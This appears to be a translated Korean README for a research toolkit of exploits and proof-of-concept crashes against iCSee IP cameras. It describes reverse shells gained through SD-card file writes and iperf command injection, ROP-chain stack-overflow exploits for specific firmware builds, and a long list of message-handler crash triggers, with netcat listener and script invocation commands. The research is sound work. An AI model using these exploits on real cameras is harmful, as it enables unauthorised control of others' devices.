
iCSee 애플리케이션을 사용하는 카메라를 위한 도구/개념 증명/익스플로잇 모음입니다. 그리고 네 - NES 게임을 실행할 수 있습니다!
이것은 LAN을 통해 iCSee 화상 통화 카메라(및 아마도 비화상 통화 카메라도)에 사용할 수 있는 도구/PoC/익스플로잇 모음입니다. SD 카드 업데이트 방법을 대체하여 대체 펌웨어를 플래시하는 데 쉽게 사용할 수 있습니다.
참고: 메모리 손상 익스플로잇은 카메라 펌웨어 버전이 V5.00.R02.000949U5.10000.141324.0000010 또는 V5.00.R02.000807E5.10000.346724.0000010인 경우에만 작동합니다. 이러한 익스플로잇은 펌웨어가 빌드될 때마다 변경되는 고정 오프셋에 의존합니다.
[6] 입증 + 두 번째 카메라 전체 메모리 손상 익스플로잇
pycryptodome : RSA 로그인 암호화용pwntools : 셸코드용pyftpdlib : FTP 서버용pynput : NES 키보드 입력용get_system_info이것은 get_system_info 메서드를 사용하여 포트 34567을 통해 카메라 정보를 가져옵니다.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logs남은 텍스트 기능을 사용하여 장치에서 로그를 가져옵니다(로그는 FTPTestDir/Test에 저장됩니다).
python3 icseeu.py ftp_get_logs
gdb_revshellSD 카드 파일 쓰기 취약점과 SD 카드에 있는 바이너리의 원격 실행을 허용하는 iperf 바이너리 실행 취약점을 악용하여 리버스 셸을 얻고 메인 App 프로세스에 연결되는 GDB 디버거를 시작합니다.
터미널 1:
nc -l 1234
터미널 2:
python3 icseeu.py gdb_revshell
터미널 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
참고: 프로그램을 30초 이상 중지하지 마십시오. 그렇지 않으면 워치독이 문제를 제기하고 App 프로세스가 다시 시작됩니다!
참고 2: 페이로드(GDB_Revshell/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.
gdb_revshell_injectSD 카드 파일 쓰기 취약점과 iperf 명령 주입 취약점을 악용하여 SD 카드에 있는 바이너리의 원격 실행을 허용하고, 리버스 셸을 얻고 메인 App 프로세스에 연결되는 GDB 디버거를 시작합니다.
이것은 이미 iperf 바이너리가 존재하여 다른 방법을 방해하는 장치에 유용합니다.
터미널 1:
nc -l 1234
터미널 2:
python3 icseeu.py gdb_revshell_inject
터미널 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
참고: 프로그램을 30초 이상 중지하지 마십시오. 그렇지 않으면 워치독이 문제를 제기하고 App 프로세스가 다시 시작됩니다!
참고 2: 페이로드(GDB_Revshell/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.
iperf_inject_exploitiperf 명령 주입을 악용하여 리버스 셸을 설정합니다.
터미널 1:
nc -l 1234
터미널 2:
python3 icseeu.py iperf_inject_exploit
참고: 페이로드(Revshell_Inject/remote_mgmt.c)에서 하드코딩된 IP 주소를 LAN에 있는 사용자 머신의 IP로 수정하고 페이로드를 다시 빌드해야 할 수도 있습니다.
이것은 메시지 유형 0x7d8의 핸들러에서 두 번째 스택 오버플로우에 대한 익스플로잇입니다. 이 오버플로우는 스택 카나리를 우회하고 실행을 얻을 수 있게 해주기 때문에 흥미롭습니다.
이것들이 작동하려면 먼저 디스패처 페이로드를 빌드해야 하며(PayloadDispatcher 디렉터리에서 make 실행), 카메라에서 실행하려는 페이로드는 각 디렉터리(예: ImageDisplay)에서 make를 실행하여 빌드합니다.
참고:
screenflash화면을 깜빡여 코드 실행을 입증합니다.
python3 icseeu.py exploit_goke screenflash
rgbRGB 색상을 깜빡여 화면 제어를 입증합니다.
python3 icseeu.py exploit_goke rgb
imagedisplay파일 쓰기를 사용하여 원시 RGB 5:6:5 이미지를 업로드합니다. 디렉터리의 이미지에서 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw를 실행하여 ImageDisplay 디렉터리에 image.raw 파일을 만듭니다. 이미지가 화면에 표시됩니다.
python3 icseeu.py exploit_goke imagedisplay
buttontest버튼 상태를 읽을 수 있음을 입증합니다. 버튼 중 하나가 눌렸을 때 색상을 깜빡입니다.
python3 icseeu.py exploit_goke buttontest
pongPong 게임의 최소한의 구현으로, 화면과 전면 버튼을 제어할 수 있음을 보여주며, 약간 더 복잡한 페이로드를 시연합니다.
python3 icseeu.py exploit_goke pong
nesGOKE_Payloads/nes 디렉터리에 있는 rom.nes를 실행할 수 있는 포팅된 NES 에뮬레이터입니다. GOKE_Payloads/nes/smolnes와 GOKE_Payload/nes에서 make를 실행하여 바이너리를 생성합니다.
python3 icseeu.py exploit_goke nes
이것은 스택 카나리가 없지만 NX가 있는 다른 카메라의 스택 오버플로우 익스플로잇입니다. 스택을 피벗하고 큰 ROP-체인을 실행하기 위해 ROP-체인을 작성했습니다. 이 ROP-체인은 실행 가능한 메모리를 매핑하고, 파일 내용을 메모리에 로드하고, 이를 실행하는 스레드를 생성한 다음, 스택 상태를 복구하고 실행을 계속합니다.
이것들을 작동시키려면 먼저 페이로드를 빌드해야 합니다. 각 디렉터리(예: ImageDisplay)에서 make를 실행하세요.
참고:
screenflash화면을 깜빡여 코드 실행을 입증합니다.
python3 icseeu.py exploit_xm530 screenflash
rgbRGB 색상을 깜빡여 화면 제어를 입증합니다.
python3 icseeu.py exploit_xm530 rgb
imagedisplay파일 쓰기를 사용하여 원시 RGB 5:6:5 이미지를 업로드합니다. 디렉터리의 이미지에서 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw를 실행하여 ImageDisplay 디렉터리에 image.raw 파일을 만듭니다. 이미지가 화면에 표시됩니다.
python3 icseeu.py exploit_xm530 imagedisplay
이러한 개념 증명(및 근본 원인)에 대한 자세한 내용은 이 readme 상단의 블로그에 있습니다.
integer_underflow_http이 PoC는 HTTP 서버의 정수 언더플로우로 인한 충돌을 유발합니다.
python3 icseeu.py integer_underflow_http
iperf_run이 PoC는 SD 카드의 iperf/iperf에 저장된 파일(ash 스크립트 또는 바이너리)을 실행합니다.
python3 icseeu.py iperf_run
iperf_inject이 PoC는 명령 주입을 통해 reboot 명령을 실행합니다. 이를 위해 SD 카드에 iperf/iperf 파일이 존재해야 합니다.
python3 icseeu.py iperf_inject
assert_trigger_0x41a이 PoC는 0x41a 메시지 유형 핸들러의 큰 할당으로 인해 어설션을 트리거합니다(충돌 유발).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41a이 PoC는 0x41a 메시지 핸들러에서 이상한 OOB 읽기를 유발하는 정수 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43a이 PoC는 유형 0x43a의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1이 PoC는 유형 0x438의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2이 PoC는 유형 0x438의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdac이 PoC는 유형 0xdac의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4이 PoC는 유형 0x5a4의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414이 PoC는 유형 0x414의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_1이 PoC는 유형 0x410의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x410_1
stack_overflow_0x410_2이 PoC는 유형 0x410의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8이 PoC는 유형 0x5a8의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41e이 PoC는 유형 0x41e의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1이 PoC는 유형 0x7d8의 메시지 핸들러에서 첫 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2이 PoC는 유형 0x7d8의 메시지 핸들러에서 두 번째 스택 오버플로우로 인한 충돌을 유발합니다.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6이 PoC는 유형 0x8a6의 메시지 핸들러에서 스택 오버플로우로 인한 충돌을 유발합니다(모든 카메라에 존재하지 않음).
python3 icseeu.py stack_overflow_0x8a6